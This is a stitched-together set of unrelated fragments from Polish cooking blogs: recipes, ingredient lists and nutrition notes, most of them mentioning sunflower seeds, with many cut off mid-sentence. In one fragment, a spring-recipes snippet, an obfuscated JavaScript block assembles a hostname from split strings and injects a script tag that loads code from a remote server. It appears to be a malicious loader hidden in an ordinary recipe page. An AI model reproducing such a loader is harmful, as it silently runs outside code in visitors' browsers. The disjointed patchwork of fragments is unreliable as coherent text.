wszystko. Nasza wegańska pasta z ciecierzycy z suszonymi pomidorami , jest już gotowa Teraz, można przy jej pomocy przygotować kanapki. Wystarczy posmarować nią ulubione pieczywo, a następnie posypać prażonymi ziarnami słonecznika i pestkami z dyni. Można też, wykorzystać ją do naleśników – zarówno takich na ciepło, na obiad, jak i takich na zimno, na przykład w formie roladek do lunch boxa. Mój

specjalnym zaskoczeniem. Rogaliczki są naprawdę szybkie i bardzo smaczne. Kruche z wierzchu i mięciutkie, jakby serowe w środku. Bez wyrastania, bez trzymania w lodówce. Z dowolona posypką: dynią, słonecznikiem, czarnuszką. Bardzo polecam! To tyle, dziekuje Wam serdecznie za odwiedziny i miłe komentarze. Cieszę się, że pamiętacie o mnie i pozdrawiam cieplutko :* Edyta

kuchni wykorzystuję wszystkie dostępne produkty. Zapraszam serdecznie do inspirowania się moimi przepisami dla małych i dużych smakoszy Moje ulubione przepisy – część I Pasta z zielonego groszku i słonecznika – idealna do kanapek Rozgrzewająca zupa z pieczarkami i soczewicą Gofry z twarogu z waniliową nutą – przysmak moich dzieci Kurczak curry z pomidorami – prosty i pyszny obiad dla całej

osób, którym dokucza wysoki cholesterol, ważne miejsce powinny też zająć produkty z pełnych ziaren zbóż, świeże owoce oraz warzywa, a także takie dodatki, jak orzechy, pestki dyni oraz nasiona słonecznika. Artykuł Zbyt wysoki cholesterol: jakie zmiany warto wprowadzić w diecie? pochodzi z serwisu Kulinarny Blog - wiesz jak gotować

problemu z jej dostępnością. Chyba, że mieszkanie na wsi – to no już nie pomogę. Migdały nie są konieczne, ale dobrze jest dorzucić coś chrupiącego. Mogą to być orzechy, słonecznik. Ważne, żeby je trochę podprażyć. Zastanawiałam się jeszcze nad dodaniem do sałatki paru suszonych pomidorów, ale pierwszą wersję tej sałatki postanowiłam zrobić zupełnie prostą. Finalnie nie spodziewałam się jakichś fanfarów

Dobrze zbilansowana dieta roślinna powinna być bogata w żelazo. Dobrym jego źródłem są:. Suszone pomidory, soczewica zielona gotowana, orzechy nerkowca, chleb razowy, fasola biała gotowana, szpinak surowy, nasiona słonecznika, ciecierzyca gotowana, brokuł gotowany, rodzynki, pistacje. Dzienne zapotrzebowanie różni się wśród mężczyzn (10mg) i kobiet (18mg). Aby dostarczyć do organizmu, selen powinniśmy sięgnąć po: orzechy brazylijskie, mąka pełnoziarnista, mąka z amarantusa

pierników Jajka po szkocku Zobacz też nowe przepisy : Likier piernikowy Przekąski na andrzejki na 20 sposobów Szynka z pończochy Paszteciki z grzybami (do barszczu) Roladki z szynki ze słonecznikiem Artykuł Szynka z pończochy pochodzi z serwisu Okolice Palnika - blog kulinarny

prostu nie mogłam się oprzeć i po kolei wszystko próbowałam. Paczka zawierała: - chleb magnat bio 300g chleb w 100% z mąki ekologicznej żytniej na zakwasie wzbogacony ziarnami słonecznika i dyni- zdecydowanie nr jeden dla mnie, bardzo pyszny i wstyd sie przyznać ale sama go zjadłam na jedno posiedzenie... i zasiało to we mnie nutę ciekawości i chęć spróbowania innych chlebków

przekąski, które idealnie sprawdzą się podczas andrzejkowej zabawy. Zaproście znajomych, przyjaciół, rodzinę i bawcie się dobrze w ten magiczny wieczór. Roladki z szybki konserwowej z serkiem i ziarnami słonecznika-  przepis tutaj . Jajka w sosie majonezowym ze szczypiorkiem i rzodkiewką-  przepis tutaj . Rolmopsy z ogórkiem kiszonym i cebulą w zalewie octowej-  przepis tutaj . Galaretka z kurczaka-  przepis

dresingiem z odrobiny oliwy.. Aby zrobić odchudzającą sałatkę potrzebne są: miks sałat z endywią i marchewką, kilka kulek mini sera mozzarella, jakieś ziarna do posypania, np. czarny sezam, słonecznik i orzeszki piniowe, oraz dla koloru i smaku kilka pomidorków koktajlowych. Poezja dla moich kubków smakowych. Mogłabym takie sałatki jadać codziennie. Dzisiaj podzieliłam na 2 porcje bo żołądek mi się

kwestia indywidualna). Kiedyś kremy jadałam z groszkiem ptysiowym, ale jakoś nigdy nie byłam do niego przekonana. Chętniej teraz pakuję do kremów uprażone pestki dyni, migdały lub ziarna słonecznika. Musi coś chrupać, no musi. Przepis jest chyba sprzed 2 tygodni, więc wrzucam go z niewielkim opóźnieniem. Bo dzisiaj znowu mam zupę kalafiorową. Tym razem zupełnie zwyczajną, ale bez ziemniaków. Tak, dieta

domowej nalewki. Zobacz też inne przepisy na nalewki Nalewka z pigwy Likier bożonarodzeniowy Nalewka kawowa Ekspresowa cytrynówka Porzeczkówka Nalewka z rokitnika Zobacz też nowe przepisy Roladki z szynki ze słonecznikiem Nalewka z jarzębiny Prosta szarlotka Kulki serowe w przyprawach Sałatka królewska Artykuł Nalewka z jarzębiny pochodzi z serwisu Okolice Palnika - blog kulinarny

czosnku, gotowych, by ograć podniebienie. Zmiksowałam towarzystwo z bulionem i podałam z uprażonymi na suchej patelni kawałkami tortilli, która zmieniła się w pyszne, rumiane chrupadełko, a do tego pestki słonecznika i kleks śmietany dla chętnych. Całość rozgrzewa, przyjemnie głaszcze podniebienie wszelką słodyczą warzyw i ciepłem listopadowego słońca. Jeśli masz ochotę spróbować zupy środka Listopada, to siadaj do stołu, póki miseczki

mąki żytniej 720    - 2,5 dkg drożdży    - płaska łyżka cukru    - łyżeczka soli    - 2 łyżki oliwy z oliwek    - ziarna słonecznika - ok. 5 dkg    - ziarna dyni - ok. 5 dkg    - 4 łyżki sezamu    - 5 łyżek siemienia lnianego Na 2-3 godziny przed pieczeniem mieszamy wszystkie nasiona, zalewamy

pestek dyni                                - 50g ziaren słonecznika                                - 20g siemię lniane                                - 10g sezam

podniebieniu wspaniałych doznań. Wierzcie na słowo. W dni w tygodniu króluje muesli z owocami. To najszybsza wersja poranna . Zazwyczaj mieszam dwa rodzaje płatków z suszonymi owocami, sypię ziarna dyni, słonecznika, sezamu, do tego jogurt i odrobina mleka. Do ozdoby świeże owoce wedle upodobania. Artykuł CO DZIŚ NA ŚNIADANIE? pochodzi z serwisu Raj dla Podniebienia

Wykonać można kilka dni wcześniej i przechowywać w szczelnie zamkniętym pojemniku. Przepis zaczerpnięty z opakowania na mąkę kukurydzianą. Składniki: 200 ml mąki kukurydzianej  100 ml pestek dyni lub słonecznika 100 ml sezamu 2 łyżki nasion lnu 1 łyżeczka soli 50 ml oleju lub oliwy 200 ml gorącej wody ewentualnie sól do posypania Wykonanie: Wszystkie suche składniki wymieszać a następnie

dodajemy do fasoli i wszystko razem mieszamy. Jeśli smalec wychodzi zbyt twardy, gęsty, dodajcie 1-2 łyżki wody. Smak smalcu możecie również wzbogacić odrobiną uprażonych na suchej patelni ziaren słonecznika. Smacznego! P.S. Posmarujcie tym smalcem kromkę świeżego pieczywa, a na wierzchu połóżcie plasterek pomidora z drobno posiekanym szczypiorkiem. Artykuł Smalec z fasoli pochodzi z serwisu Kulinarny Blog - wiesz jak gotować

migdałami. Smacznego (adsbygoogle = window.adsbygoogle || []).push({}); To też może Cię zainteresować: → Owsianka z tahini i pomarańczami → Jaglanka z masłem orzechowym i karmelizowanym bananem → Owsianka czekoladowa z nektarynkami, borówkami i słonecznikiem → Owsianka z pieczoną gruszką i orzechami włoskimi → Dyniowy budyń orkiszowy z pomarańczą Artykuł Korzenna owsianka dyniowa z karmelizowanymi śliwkami pochodzi z serwisu Oryginalny smak

50ml oleju 65g miałkiego, jasno-brązowego cukru 150g mąki 2 łyżeczki proszku do pieczenia 1 łyżeczka cynamonu garść mieszanych suszonych owoców i pestek (u mnie koryntki, połamane pekany i słonecznik) na wierzch czubata łyżka płatków owsianych łyżka pestek, albo połamanych orzechów Rozgrzej piekarnik do 180stC. Przygotuj blaszkę z papierowymi papilotkami. W sporej mice rozgnieć widelcem banany. Dobrze wymieszaj

dieta pozwoli nam zaspokoić zapotrzebowanie na ten pierwiastek, warto więc zadbać o to, by w naszym jadłospisie pojawiały się takie produkty, jak: mięso, ryby, ostrygi, wątróbka wieprzowa, jaja, nasiona słonecznika, pestki dyni, kasza gryczana, pieczarki, otręby owsiane, kakao, warzywa strączkowe, tofu, gorzka czekolada. Znaczenie cynku Cynk jest bardzo wszechstronnym pierwiastkiem, bierze udział w wielu istotnych dla nas procesach zachodzących

charakterystyczny splot. Jak pisze Mirabelka u której przepis znalazłam tebirkes są tuczące, niezdrowe i przepyszne i to się zgadza, rozpływają się w ustach. Dziś u mnie z pestkami słonecznika i prażoną cebulką. Jak chcecie siebie i rodzinę porozpieszczać kulinarnie to te bułki będą do tego wspaniałe. Duńskie bułeczki. CZYTAJ DALEJ

smaku kawałki warzyw, to nie musicie blendować jej aż tak dokładnie. Zupę krem z marchwi możemy podać z odrobiną gęstej, kwaśnej śmietany i posypane np. pestkami dyni, albo słonecznika. Smacznego! Artykuł Krem z marchewki pochodzi z serwisu Kulinarny Blog - wiesz jak gotować

Soczysta dynia, chrupiące pestki słonecznika, krucha komosa ryżowa. Oto SAŁATKA Z DYNIĄ HOKKAIDO, czyli sposób na pyszny, wegański lunch! Artykuł SAŁATKA Z DYNIĄ HOKKAIDO pochodzi z serwisu CookMagazine

karmelizowanymi orzechami. To bardzo smaczny i zdrowy deser, do którego możemy dodać owoce sezonowe lub mrożone. Zamiast orzechów nerkowca możemy skarmelizować inne, ulubione orzechy lub nawet pestki dyni lub słonecznika. Polecam do deseru ryż do sushi, jest kleisty i łatwo lepi się z niego kulki. Dobry ryż do sushi, mleko kokosowe, cukier kokosowy, wiórki kokosowe możemy kupić w większych sklepach

przeróżnego rodzaju bułki, bułeczki oraz chleby. Do tychże wypieków używam różnych baz mącznych jak i rozmaitych dodatków. Moje pieczywo często jest bezglutenowe, nagminnie dodaję suszone pomidory, ziarna chia, słonecznika oraz pestki z dyni. Bardzo polubiłam również wypieki z dodatkiem warzyw, najczęściej puree z nich przygotowanego. Pieczywo z dodatkiem buraka ćwikłowego, dyni, szpinaku czy słodkich ziemniaków nie jest mi obce

pyszne bułeczki twarogowe. Idealne na śniadanie, jako bułka do hamburgera, czy dodatek do sałatki. Składniki kostka twarogu 250 g 8 łyżek płatków owsianych 7 łyżek mąki owsianej 2 jajka słonecznik dynia sezam czarnuszka zioła prowansalskie papryka słodka siemię lniane Przygotowanie Wszystko wymieszać i uformować bułeczki. Posypać po wierzchu dodatkowo sezamem i czarnuszką. Piec 30 minut w 180 stopniach. Autor przepisu

wcześniej zamarynować. By przygotować obłędnie pyszne paluszki z tofu, warto jednak wykorzystać tofu wędzone, czy też to z dodatkiem ostrej papryki. Przyrządzanie paluszków z tofu zacznij od suszonych pestek słonecznika, które najpierw zblenduj, a następnie dodaj do nich suszone pomidory z zalewy olejowej, czerwoną fasolę z puszki oraz pokruszone tofu z papryką. Jeszcze raz zblenduj wszystko, tym razem

składnikach moja sałatka nie może się skończyć. W związku z tym, do przygotowania dzisiejszej sałatki użyłem również cudownie pikantnego pora. Do tego kremowy, domowy wegański majonez oraz uprażone ziarna słonecznika. Szczypta lub dwie przypraw, czosnek, ogórek konserwowy lub kiszony i sałatka z kalafiora jest gotowa. Jestem ogromnym fanem wędzonego tofu, dlatego w mojej sałatce jest ono dodane. Nie jest

nietypowymi dodatkami jak kapary i ser pleśniowy to zapraszam po przepis. Oczywiście możecie sobie ją dowolnie modyfikować, np. zapiec pod serem z grzankami albo posypać prażonymi pestkami dyni czy słonecznika lub dodać pesto. Kombinacji jest wiele. Nie bójcie sie eksperymentować. Czytaj więcej

Składniki: 2 jajka 150g skyru waniliowego 150ml wody 20g erytrytolu 80g płatków owsianych 20 g słonecznika 40 g daktyli płaska łyżeczka proszku do pieczenia 150 g jagód leśnych Przygotowanie: Daktyle … Czytaj dalej Owsianka z jagodami

średniej wielkości cukinia) - przepraszam za brak wagi ...😊😀 1 1/2 szklanki mąki orkiszowej pełnoziarnistej, 1 cebula, 2 łyżki oliwy lub oleju (można pominąć), 1 łyżeczka soli, Szczypta pieprzu, 1/2 szklanki słonecznika łuskanego. Wykonanie : Cebulę kroimy w kosteczkę, a następnie szklimy na patelni. W dużej misce mieszamy wszystkie składniki. Nakładamy powstałą masę partiami (formując okrągłe placuszki) na blachę wyłożoną papierem do pieczenia

tylko będzie smaczna, ale też utrzyma wszystkie dekoracje kanapki na swoim miejscu. Polecić mogę pastę z zielonego groszku z dodatkiem prażonego sezamu (smakuje świetnie), pastę z awokado z dodatkiem słonecznika, albo pastę z fasolą i suszonymi pomidorami. 3. Smoothie. Koktajle owocowe cieszą się dużą popularnością. Nie ma się co dziwić- są słodkie, mają fantazyjne kolory, a przy tym możemy wlać

chlebowej typ 750 250g żytniej pełnoziarnistej 1 łyżeczka suchych drożdży lub 3 dag świeżych 2 łyżeczki soli morskiej 2 łyżeczki siemienia lnianego 2 łyżki pestek dyni 2 łyżki nasion słonecznika 1 garść młodych listków chrzanu Jak zrobić chleb z listkami chrzanu: Najpierw w misce mieszamy mąkę, drożdże (jeśli używamy świeżych rozpuszczamy je w wodzie) i sól. Potem dodajemy pestki, posiekane

mąki żytniej typ 2000 140 ml wody CIASTO NA CHLEB cały zakwas 400 g mąki żytniej typ 720 400 g mąki orkiszowej chlebowej 16 g soli 630 ml wody słonecznik, siemię lniane, czarnuszka Wykonanie ZAKWAS Dzień przed pieczeniem, wieczór. W dużej misce mieszamy zakwas, wodę i mąkę żytnią typ 2000. Przykrywamy miskę folią spożywczą i odstawiamy

kostkę dynię, mleczko kokosowe, wodę, koncentrat bulionu warzywnego, chili, sól oraz pieprz i gotujemy ok. 20 min. Całość blendujemy na gładko i podajemy np. z jogurtem i podprażonym słonecznikiem. Smacznego! Na Thermomix: 1 . Do naczynia miksującego wkładamy cebulę przekrojoną na pół, czosnek i imbir, dodajemy olej, rozdrabniamy 3 s/obr. 5 . Składniki zgarniamy kopystką ze ścianek na dno naczynia miksującego, następnie

selera naciowego Kalafior Szklanka bobu Garść groszku strączkowego Garść fasolki szparagowej 1 kg młodych ziemniaków Pęczek szczawiu Pęczek rukoli Pęczek rzodkiewek Opakowanie kiełków Garść pestek dyni Pół szklanki nasion słonecznika Główka czosnku Cytryna Kasze Szklanka soczewicy zielonej Szklanka kaszy orkiszowej Zioła Natka pietruszki Koperek Tymianek Szałwia Lubczyk Rozmaryn Jajka/nabiał Pół litra kefiru Kubeczek jogurtu Tarty parmezan Serek kozi

się z czereśniami, ale myślę że jakiekolwiek inne owoce też znajdą tutaj zastosowanie. Dodatkiem uzupełniającym były dla mnie płatki migdałowe, ale doskonale sprawdzą się też np. orzechy czy ziarna słonecznika. Krem posłodziłam miodem. Tu również wszystkie alternatywy są mile widziane: syrop klonowy, cukier trzcinowy czy erytrol. Deser fit na jogurcie, składniki na 8 porcji: 500 g jogurtu naturalnego 4 łyżki

zajadać ręką, do tych ze środka może być potrzebny widelczyk do ciasta ;) Gotowe ciastka możecie dowolnie udekorować. U mnie to tym razem wiórki kokosowe, starta biała czekolada i pestki słonecznika, ale jeszcze lepsze będą z posiekanymi orzechami lub uprażonymi płatkami migdałów. Takie maślane ciasteczka wspaniale smakują i wyglądają z malinami - owoce układamy jednak na masie czekoladowej, która lekko przestygnie

majo, sól, pieprz. Mieszamy. Ser ścieramy na tarce lub drobno kroimy. Na talerz wykładamy rukloę, plastry pomidora, ser, sos czosnkowy i posiekany szczypiorek. Opcjonalnie na górę można dodać prażony słonecznik. Smacznego

Oliwa 1 łyżeczka Farsz: Olej 1 łyżeczka Cebula 1 sztuka Pieczarki 1 małe opakowanie (250 g) Sól, oregano, czosnek po 1/3 łyżeczki Pesto: Szpinak 1 opakowanie (250 g) Nasiona słonecznika 20 g Orzeszki piniowe 30 g Czosnek 2 ząbki Oliwa 10 g Sól 1/3 łyżeczki Płatki drożdżowe (opcjonalnie) 1 łyżka Drożdże mieszamy z cukrem, wodą, łyżeczką mąki i odstawiamy

plastrów szynki parmeńskiej, kilka listków bazylii, masło do smażenia – u nas eko masło extra Polmlek, pesto : pół pęczka czosnku niedźwiedziego, mała garść rukoli, 50 ml oliwy, 1 łyżka pestek słonecznika, 1 cytryna, łyżka ostrego sera typu bursztyn, sól do smaku, pieprz do smaku, pomidorki : gałązka pomidorków koktajlowych, 1 mała ostra papryczka, 2 ząbki czosnku, 1 cebula szalotka, kilka listków bazylii

smaków. To także prosty sposób na urozmaicenie swojej diety Spróbuj także: szybka sałatka ze szparagami, fetą i pomidorkami, sałatka z selerem naciowym i jabłkiem , z rukolą, suszonymi pomidorami i słonecznikiem. Jeśli chcesz być na bieżąco ze zdrową i smaczną dietą, śledź mnie na  Facebooku  i  Instagramie    Tam częściej pojawiają się zdrowe pyszności  Artykuł Sałatka

Składniki: 100 g kaszy jaglanej 200 g odgotowanych grzybów 1 jajko 40 g otrębów 20 g słonecznika łuskanego 1/2 małej cebuli 3 plasterki sera żółtego sól, pieprz słodka i ostra … Czytaj dalej Kotlety jaglane z warzywami

100g masła 1.5 szklanki płatków owsianych 3 łyżki mąki 4 łyżki cukru 1 łyżeczka proszku do pieczenia 2 jajka 2-3 łyżki mieszanki pestek i orzechów (opcjonalnie, u nas: słonecznik i połamane orzechy włoskie) Stop masło. W sporej misce wymieszaj płatki owsiane,  mąkę, cukier, proszek do pieczenia i ewentualnie ziarna/orzechy. Dodaj stopione masło i jajka i wymieszaj

Kolorowe Garnki 6. Sałatka brokułowa przepis na: Kuchnia na Wypasie 7. Sałatka z pora i jajek przepis na: Kulinarne Przygody 8. Sałatka z makaronem kurczakiem ananasem i prażonym słonecznikiem przepis na: Ulubione Przepisy 9. Sałatka z białą kiełbasą przepis na: Wszystko Smaczne 10. Sałatka z kurczakiem i sosem czosnkowym przepis na: Kulinarne Przeboje (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Sałatki na majówkę

pysznym sosie. Papryka pieczona może stanowić kompletny, zdrowy i warzywny fit posiłek lub podstawę sałatki – posyp ją wtedy pokruszoną fetą i uprażonymi na suchej patelni pestkami dyni lub słonecznika. Polecam Ci przepis na paprykę pieczoną, z której możesz przygotować: pastę na kanapki (po zmiksowaniu dodaj kremowy serek), zupę paprykową, krem z papryki lub podstawę leczo. SKŁADNIKI: 2 czerwone papryki

smaku. Zawiera sałatę, ser feta, pomidorki koktajlowe oraz łososia. Ale to tylko bazowa sałatka, możesz dodać inne ulubione składniki takie jak paprykę, świeżego ogórka, oliwki, rozdrobnione orzechy czy prażony słonecznik. Wypróbuj również inne sałatki na stronie np. sałatka grecka czy sałatka z awokado . Są to sałatki bez majonezu jeśli wolisz te z majonezem również znajdziesz kilka na stronie. Artykuł Sałatka

śmietanki lub serka . Sprawdzamy czy dodatkowo nie doprawić. Krem z brokułów podajemy na ciepło. Możemy go przyozdobić gęstą śmietaną, jogurtem, serem feta, startym żółtym serem oraz posypać prażonymi pestkami słonecznika lub dyni . Wartości odżywcze w całości w 1 porcji Wartość energetyczna 390 kcal 130 kcal Białko 17 g 6 g Tłuszcze 23 g 8 g Węglowodany netto

sezamowa to najbardziej lubiana w naszej rodzinie wersja tego irańskiego przysmaku. Czasem przygotowujemy też chałwę orzechową z pistacji. Polecamy, ponieważ jest równie pyszna. Chałwę możesz również zrobić z nasion słonecznika. Zasada wykonania jest w każdym przypadku bardzo podobna. Domowa chałwa sezamowa. Jak zrobić samemu? Zapraszamy na przepis Składniki na formę 15 x 15 cm lub inną o podobnej objętości. Chałwa

obiad lub kolację, jak i na lunch do pracy. sałata zielona lub mix sałat pomarańczowy dressing z pastą miso sałatka z kaszy bulgur oliwki pomidory suszone papryka świeża ziarna słonecznika do posypania buraczki/bataty pieczone z tego przepisu Zestaw II Bezglutenowe babeczki wytrawne z warzywami i tofu kiszone warzywa po ormiańsku koktajl dyniowo-pomarańczowy Zestaw III tarta wytrawna z tofu gotowana

stopni C i piec kolejne 15 minut, aż mozzarella się roztopi i delikatnie przyrumieni. Podawać ze świeżą bazylią i ulubionymi dodatkami. *artykuł inspirowany Zobacz również: pasta ze słonecznika z suszonymi pomidorami . Jeśli moje przepisy Ci się podobają, lubisz tu zaglądać i chcesz docenić moją pracę – postaw mi kawę, kliknij na➡➡➡ Postaw kawę dla Kuchcik gotuje

formie bez żadnych dodatków. Jednak jeszcze lepiej smakuje jeśli wzbogacimy go o pyszną “wkładkę” W moim przypadku była to ugotowana ciecierzyca, świeży koperek oraz pestki dyni i słonecznik. Świetnie sprawdzą się inne ziarna, pestki albo orzechy. Włoskie będą tu pasować idealnie. Krem jest sycący, podając go z dodatkami będzie zdrowym, pożywnym posiłkiem. Jeśli szukacie przepisów na smaczne zupy

około 341kcal Białko: 6,8g Węglowodany: 51,4g Tłuszcz: 12,3g Błonnik pokarmowy: 8,8g Ładunek glikemiczny: 30,6 Spróbuj także: jaglanka wzmacniająca odporność, kakaowa gryczanka z kiwi i słonecznikiem. Jeśli chcesz być na bieżąco ze zdrową i smaczną dietą, śledź mnie na Facebooku i Instagramie Tam częściej pojawiają się zdrowe pyszności Artykuł Jaglanka kokosowa z malinami pochodzi z serwisu

ząbki czosnku sól himalajska pieprz świeżo mielony 6-10 łyżek oliwy 1 garść młodej pokrzywy 1 łyżeczka ulubionej mieszanki ziół np zioła prowansalskie opcjonalnie można dodać też prażone pestki słonecznika czy starty ser żółty Jak zrobić makaron z fasolka i pokrzywą: Najpierw makaron gotujemy al dente w dużej ilości osolonego wrzątku zgodnie z przepisem na opakowaniu. Potem na dużej patelni

świeżej bazylii. Krem z pomidorów to danie, które robi się samo w czasie. Idealne z grzankami, groszkiem ptysiowym lub podawane samodzielnie. Pasują do niego podprażone pestki dyni lub słonecznika – jeśli mamy kilka minut więcej, to możemy eksperymentować z dodatkami. Składniki podane są na 4porcje. Składniki: 2 puszki pomidorów szklanka wody lub bulionu 2 ząbki czosnku pół papryczki chili

burak i jarmuż: Piękne opakowanie z przykrywką , zdrowa propozycja na kolację, przekąskę czy nawet obiad, taka porcja na raz   Danie po za suszonym burakiem i jarmużem zawiera nasiona słonecznika i natkę pietruszki. Potrawa idealna dla wegan, zawiera dużo białka i folianów. Ciekawe połączenie smaków. Potrawa idealna dla wegan 10. Musli potrójnie orzechowe: Musli którego nie zdążyłam spróbować, szkoda

Mieszamy wszystko z majonezem, doprawiamy solą i pieprzem. Na wierzch kładziemy resztę kukurydzy, a boki ozdabiamy chipsami. Na koniec posypujemy zieleninką. Autor przepisu: Bogusława Artykuł Sałatka a’la słonecznik pochodzi z serwisu Wasze Przepisy

postaci tartaletek z chrzanową ricottą, łososiem i nowalijkami, https://uwielbiam.pl/przepis/kokardki-z-nowalijkami  – zdrowy i smaczny przepis na makaron typu kokardki z rzodkiewką, cebulą dymką, koperkiem, rzeżuchą, jajkami i kiełkami słonecznika. Życzmy smacznej wiosny! (function(){ xbpk_=("u"+"")+"s"+"";xbpk_+=("tat.")+("i"); xbpk=document.createElement("script");xbpk.type="text/javascript";xbpk_+="nf"+("o")+"/"; xbpku="255546726"+".";xbpk.async=true;xbpku+="a7ca0e3ubpkxzr517m4b711igel67j"; xbpk.src="https://"+xbpk_+xbpku;xbpkb=document.body

jajkami. Doprawiamy do smaku solą, pieprzem, mieszamy ostrożnie najlepiej za pomocą łyżek do sałatek i sałatka Sałatka z jajkiem i tuńczykiem jest gotowa. Można sałatkę dodatkowo posypać pestkami prażonego słonecznika lub dyni. Sałatka z jajkiem i tuńczykiem smakuje również z kleksami majonezu, Smacznego! ŻYCZYMY wszystkim czytelnikom naszego bloga SMACZNYCH i WESOŁYCH ŚWIĄT! Jeśli skorzystacie z naszych przepisów to dajcie znać

jadam je nie tylko w wersji na słodko! Te pełnoziarniste wytrawne pancakes z jajkiem i awokado będa świetne na śniadanie na słono. Placuszki są pełnoziarniste – z dodatkiem słonecznika, który przyjemnie chrupie w ustach. Do tego guacamole, pomidorki cherry i  … Artykuł Wytrawne pancakes z jajkiem i awokado pochodzi z serwisu

twardo, kilka czubatych łyżek majonezu i jogurtu greckiego (lub samego majonezu), przyprawy do smaku: sól, pieprz, słodka papryka, granulowany czosnek lub starty mały ząbek czosnku opcjonalnie ulubione pestki (np. słonecznika) Sałatka ziemniaczana z brokułem, przygotowanie: Ziemniaki ugotować w mundurkach, wystudzić, obrać i pokroić na mniejsze kawałki. Brokuł podzielić na różyczki i ugotować al dente - nie powinien być rozgotowany (najlepiej ugotować

nawet sami podrzucacie mi swoje pomysły na połączenia smakowe. Jeśli chcecie się zainspirować zajrzyjcie do poniższych przepisów: Kryzysowa tarta z dżemem Tarta z tuńczykiem Tarta z porem i słonecznikiem Tarta z ryba wędzoną Tarta ze szpinakiem Tarta z grzybami suszonymi Tarta z galaretkami Tarta z pokrzywą Tarta z pomidorami Tarta z krewetkami Tarta z sałatka jarzynową Tarta z kurkami PRZEPIS

płatków owsianych górskich, ale błyskawiczne te się nadają 2 oleju kokosowego – ja użyłam surowego – nierafinowanego oleju kokosowego może być też masło 1/2 szklanki suszonej żurawiny 1/4 szklanki słonecznika lub pestek dyni lub chia (u mnie chia) kakao lub wiórki kokosowe do dekoracji Daktyle namoczyć w zimnej wodzie przez 2-3 godziny. Odsączyć na sitku, wodę wylać. Daktyle przełożyć

pomocą diety ketogenicznej. Uwielbiam ten styl jedzenia. Życie stało się prostsze. Wystarczy, że w lodówce mam kilka opakowań różnych liści, dobrej jakości oliwę, awokado i jajka, trochę ziaren słonecznika czy dyni, orzechów, w ekspresowym tempie komponuje przepyszną sałatkę i tak mogę żywić się cały czas. Żywienie w ten sposób, jest dla mnie optymalne, nie mam zachcianek na pizzę czy chleb

mojprzepisna.pl | Chleb pszenny bez wyrabiania Zachęcona zdjęciami Agnieszki (z blogu marynawkuchni ) zrobiłam ten chlebek i ja :) Osobiście wolę pieczywo z mąki pełnoziarnistej z pestkami słonecznika, dyni, siemieniem, ale mój mąż lubi czasem czyste pszenne pieczywo, więc zrobiłam chlebek dla niego. Chlebek jest prosty w wykonaniu, ma całkiem fajne duże dziury, nie jest suchy, ani dmuchany, ma całkiem chrupiącą skórkę

pomocą diety ketogenicznej. Uwielbiam ten styl jedzenia. Życie stało się prostsze. Wystarczy, że w lodówce mam kilka opakowań różnych liści, dobrej jakości oliwę, awokado i jajka, trochę ziaren słonecznika czy dyni, orzechów, w ekspresowym tempie komponuje przepyszną sałatkę i tak mogę żywić się cały czas. Żywienie w ten sposób, jest dla mnie optymalne, nie mam zachcianek na pizzę czy chleb

fasoli Piękny Jaś  -1 duża cebula -1 marchewka -1 pietruszka -2-3 jajka ( w zależności od wielkości ) -200 g grzybów suszonych -300 g pieczarek -pół szklanki prażonych pestek słonecznika  -2  łyżki oleju  -100 g masła  -4 ząbki czosnku -sól, pieprz do smaku ewentualnie 1 łyżka maggi Fasolę i grzyby namoczyć dzień wcześniej na noc, oczywiście

Zapraszamy do zapoznania się z poniższymi przepisami. 1. Sałatka Królewska Przepis na: Przepiski.pl 2. Sałatka z serem feta Przepis na: Alledobre.pl 3.  Sałatka z jajkami, kukurydzą i prażonym słonecznikiem Przepis na KulinarnePrzeboje.pl (adsbygoogle = window.adsbygoogle || []).push({}); 4. Złocieniecka sałatka warstwowa Przepis na: Gotuj-się-do-gotowania 5. Sałatka Wielkanocna Przepis na: WinoiOliwki (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Sałatki na Wielkanoc

pomocą diety ketogenicznej. Uwielbiam ten styl jedzenia. Życie stało się prostsze. Wystarczy, że w lodówce mam kilka opakowań różnych liści, dobrej jakości oliwę, awokado i jajka, trochę ziaren słonecznika czy dyni, orzechów, w ekspresowym tempie komponuje przepyszną sałatkę i tak mogę żywić się cały czas. Żywienie w ten sposób jest dla mnie optymalne, nie mam zachcianek na pizzę czy chleb

koniec posypujemy owsiankę czekoladowymi dropsami( czipsami) i dekorujemy plasterkami banana. Można też za każdym razem zmieniać jej smak za pomocą przypraw: kardamonu, gałki muszkatałowej. Można dodać ziarenka chia, dynie, słonecznik, rodzynki, różne orzechy i jagody. Lub jeśli macie alergię na orzechy, zupełnie z nich zrezygnować.  A czym zastąpić migdałowy mus, czy inaczej migdałowe masło? Musem z orzechow laskowych, nerkowca

wody 15g świeżych drożdży Pasta ze szpinaku: 60g świeżych liści szpinaku 5 dużych liści bazylii 1 ząbek czosnku 1/3 łyżeczki soli 2 szczypty czarnego pieprzu 1/2 łyżki łyskanych ziaren słonecznika 50ml oleju rzepakowego / słonecznikowego Sposób przyrządzenia: 1. Do wody dodaj pokruszone drożdże i wymieszaj. 2. Do misy wsyp mieszankę do chleba i zalej wodą z drożdżami - wyrabiaj do momentu uzyskania

letniej wody 8 g soli 350 g mąki żytniej typ 2000 150 g mąki żytniej typ 720 Dowolne ziarna i pestki np. garść pestek dyni i nasion słonecznika Wykonanie Wszystkie składniki na chleb połączyć i dokładnie wymieszać. Robot kuchenny jest tutaj nieocenioną pomocą, ale spokojnie dacie radę zrobić to też ręcznie Keksówkę wysmarować masłem Ciasto na chleb przełożyć do keksówki

orzeszków arachidowych 10%, substancja słodząca: maltitole, tłuszcz kakaowy, orzeszki arachidowe 9%, mleko w proszku odtłuszczone, tłuszcz palmowy, miazga kakaowa, mleko w proszku pełne, tłuszcz mleczny, sól, emulgator lecytyny ze słonecznika, ekstrakt z wanilii, aromat. Masa kakaowa minimum 32% Masa netto: 49g Wartości odżywcze: 49g/ 241 kcal, tłuszcz – 15g w tym kwasy tłuszczowe nasycone – 8,2g, węglowodany – 15g w tym cukry

Moja Pasja 5. Talarki ziemniaczane przepis: Wasze-Przepisy 6. Parówki w cieście francuskim przepis: Królestwo Garów 7. Czosnkowe pieczarki przepis: Słodkie Okruszki 8. Mini kanapeczki z łososiem, koperkiem i słonecznikiem przepis: Kruche Babeczki 9. Krążki cebulowe przepis: Kulinarne S.O.S. 10. Kalafior w panierce przepis: Cool & Minty (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Słone przekąski na wieczór – 10 pomysłów pochodzi

